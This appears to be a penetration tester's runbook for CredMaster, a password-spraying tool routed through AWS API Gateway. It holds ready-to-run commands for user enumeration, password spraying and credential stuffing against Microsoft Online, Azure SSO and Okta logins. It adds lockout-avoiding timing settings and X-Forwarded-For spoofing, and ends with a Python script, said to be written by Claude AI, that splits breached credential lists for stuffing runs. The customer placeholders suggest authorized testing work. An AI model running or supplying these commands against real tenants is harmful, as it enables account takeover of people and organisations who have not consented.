Install:
cd /opt/
git clone https://github.com/knavesec/CredMaster.git
cd CredMaster
virtualenv -p python3 env
source env/bin/activate
python3 -m pip install -r requirements.txt
deactivate
cd /opt/Overview:
CredMaster is an evasive password spraying tool. The tool allows command line integration with AWS API Gateway via access and secret keys you can request from the systems team.
Usage:
The example below includes usage of the adfs plugin.
./credmaster.py --plugin adfs --url https://adfstarget.example.com \
-u user-test.txt -p pass-test.txt \
-o ~/testspray.txt \
--access_key "aws-access-key" --secret_access_key "aws-secret-key"User Enumeration
can use the o365enum plugin to validate accounts against MSOL. Only works for Managed tenants.
Usage
python3 credmaster.py --access_key "$AWS_ACCESS_KEY_ID" \
--secret_access_key "$AWS_SECRET_ACCESS_KEY" \
--plugin o365enum \
-u ~/work/contacts/all-unique-emails.txt \
-a useragents.txt \
--color \
--randomize \
-t 5 \
-j 20 \
-m 10 \
-o ~/work/password-sprays/o365-userenum-CUSTOMER-NAMEThe AzureSSO module can be used for username enumeration for Federated Tenants. Keep in mind that valid users will have “Unknown Response” that indicates a valid user. GoMapEnum also has an AzureSSO module more specifically for username enumeration; however, it still counts as an invalid auth attempt, but, the output is much nicer for screenshots, as it says “The user foo@bar .com seems to exist”. Only downside is GoMapEnum doesn’t use fireprox, but I haven’t had any issues with it, used GoMapEnum for 13k accounts with no issues.
MSOL Password Spray
The following command should do 1 password spray for the list of users every 75 minutes which is specified via the -d flag set to 75 and the --passwordsperdelay flag set to 1
This is nice as the --remove will remove valid found cred users and can set it and forget it for the day.
Should still keep an eye on it, but it nice.
python3 credmaster.py --access_key "$AWS_ACCESS_KEY_ID" \
--secret_access_key "$AWS_SECRET_ACCESS_KEY" \
--plugin msol \
-u ~/work/password-sprays/valid-emails.txt \
-p passwords.txt \
-a useragents.txt \
-o ~/work/password-sprays/"$(date '+%Y_%m_%d__%H_%M_%S')"-msol-spray-{{ CUSTOMER }} \
-t 5 \
-j 20 \
-m 10 \
-d 75 \
--randomize \
--color \
--remove \
--passwordsperdelay 1 \
--xforwardedfor 127.0.0.1Azure SSO Password Spray
Can also be used for user enumeration. Even if SSOEnabled shows up as false from ReconAsOutsider, can still be used for username enumeration.
python3 credmaster.py --access_key "$AWS_ACCESS_KEY_ID" \
--secret_access_key "$AWS_SECRET_ACCESS_KEY" \
--plugin azuresso \
--domain tenantdomain.com \
-u ~/work/password-sprays/potential_usernames_CUSTOMER_NAME.txt \
-p passwords.txt \
-a useragents.txt \
-o ~/work/password-sprays/"$(date '+%Y_%m_%d__%H_%M_%S')"-azure-sso-spray-CUSTOMER_NAME \
--color \
-t 5 \
-j 20 \
-m 10 \
-d 75 \
--passwordsperdelay 1 \
--xforwardedfor 127.0.0.1Okta Password Spray
Must use single threaded for best results.
python3 credmaster.py --access_key "$AWS_ACCESS_KEY_ID" \
--secret_access_key "$AWS_SECRET_ACCESS_KEY" \
--plugin okta \
--url https://CHANGEME.okta.com \
-u ~/work/password-sprays/all-valid-emails.txt \
-p passwords.txt \
-a useragents.txt \
-o ~/work/password-sprays/"$(date '+%Y_%m_%d__%H_%M_%S')"-okta-spray-{{ CUSTOMER }} \
-j 20 \
-m 10 \
-d 75 \
--randomize \
--color \
--remove \
--passwordsperdelay 1 \
--xforwardedfor 127.0.0.1Cred Stuffing:
Credential stuffing is an automated attack used to inject stolen username name and password pairs (credentials) into a login form. Instead of guessing a single password for a list of users.
MSOL Credential Stuffing:
python3 credmaster.py --access_key "$AWS_ACCESS_KEY_ID" \
--secret_access_key "$AWS_SECRET_ACCESS_KEY" \
--plugin msol \
--userpassfile {{CUSTOMER-breach-data-creds}}.txt \
-a useragents.txt \
-o ~/work/password-sprays/"$(date '+%Y_%m_%d__%H_%M_%S')"-msol-cred-stuffing-{{ CUSTOMER }} \
-t 5 \
-j 20 \
-m 10 \
--color \
--passwordsperdelay 1 \
--xforwardedfor 127.0.0.1Okta Credential Stuffing:
python3 credmaster.py --access_key "$AWS_ACCESS_KEY_ID" \
--secret_access_key "$AWS_SECRET_ACCESS_KEY" \
--plugin okta \
--url https://CHANGEME.okta.com \
--userpassfile {{CUSTOMER-breach-data-creds}}.txt \
-a useragents.txt \
-o ~/work/password-sprays/"$(date '+%Y_%m_%d__%H_%M_%S')"-okta-spray-{{ CUSTOMER }}Clean Up
The following command can be used to clean up the AWS infrastructure CredMaster used for sprays. CredMaster should automatically do this but in the event the job fails for some reason this command can come in handy
python3 credmaster.py --access_key "$AWS_ACCESS_KEY_ID" --secret_access_key "$AWS_SECRET_ACCESS_KEY" --cleanTips
- You can also use a list and timing directives (H/T Cameron).
--delay 70 --passwords-per-delay 1 -p passwordslist.txt- Be sure to check your username list for duplicate usernames (account for any extra whitespace, case sensitivity etc.) Can use something like
cat <USERNAME_LIST>.txt | tr '[:upper:]' '[:lower:]' | sort -uV- Checkout the script below to help you write duplicate cred stuffing accounts with different passwords to separate files
--trimand--removeflags can be used to remove users with creds found from future sprays
write duplicate cred stuffing accounts with different passwords to separate files
Claude AI wrote this script…
import os
from collections import defaultdict
def process_creds(input_file, output_dir):
# Ensure output directory exists
os.makedirs(output_dir, exist_ok=True)
# Dictionary to store users and their passwords
user_passwords = defaultdict(list)
# Read the input file and process each line
with open(input_file, 'r') as f:
for line in f:
line = line.strip()
if ':' in line:
user, password = line.split(':', 1)
user_passwords[user].append(f"{user}:{password}")
# Prepare data for writing
unique_creds = []
duplicate_creds = []
for user, creds in user_passwords.items():
if len(creds) == 1:
unique_creds.append(creds[0])
else:
duplicate_creds.extend(creds)
# Write unique credentials to file
with open(os.path.join(output_dir, 'creds_1.txt'), 'w') as f:
for cred in unique_creds:
f.write(f"{cred}\n")
# Sort duplicate credentials by frequency and write to files
if duplicate_creds:
duplicate_creds.sort(key=lambda x: user_passwords[x.split(':')[0]].index(x))
file_number = 2
while duplicate_creds:
filename = f'creds_{file_number}.txt'
with open(os.path.join(output_dir, filename), 'w') as f:
users_written = set()
i = 0
while i < len(duplicate_creds):
user = duplicate_creds[i].split(':')[0]
if user not in users_written:
f.write(f"{duplicate_creds[i]}\n")
users_written.add(user)
duplicate_creds.pop(i)
else:
i += 1
file_number += 1
print(f"Processed credentials. Results saved in {output_dir}")
# Usage
input_file = 'creds.txt'
output_dir = 'processed_creds'
process_creds(input_file, output_dir)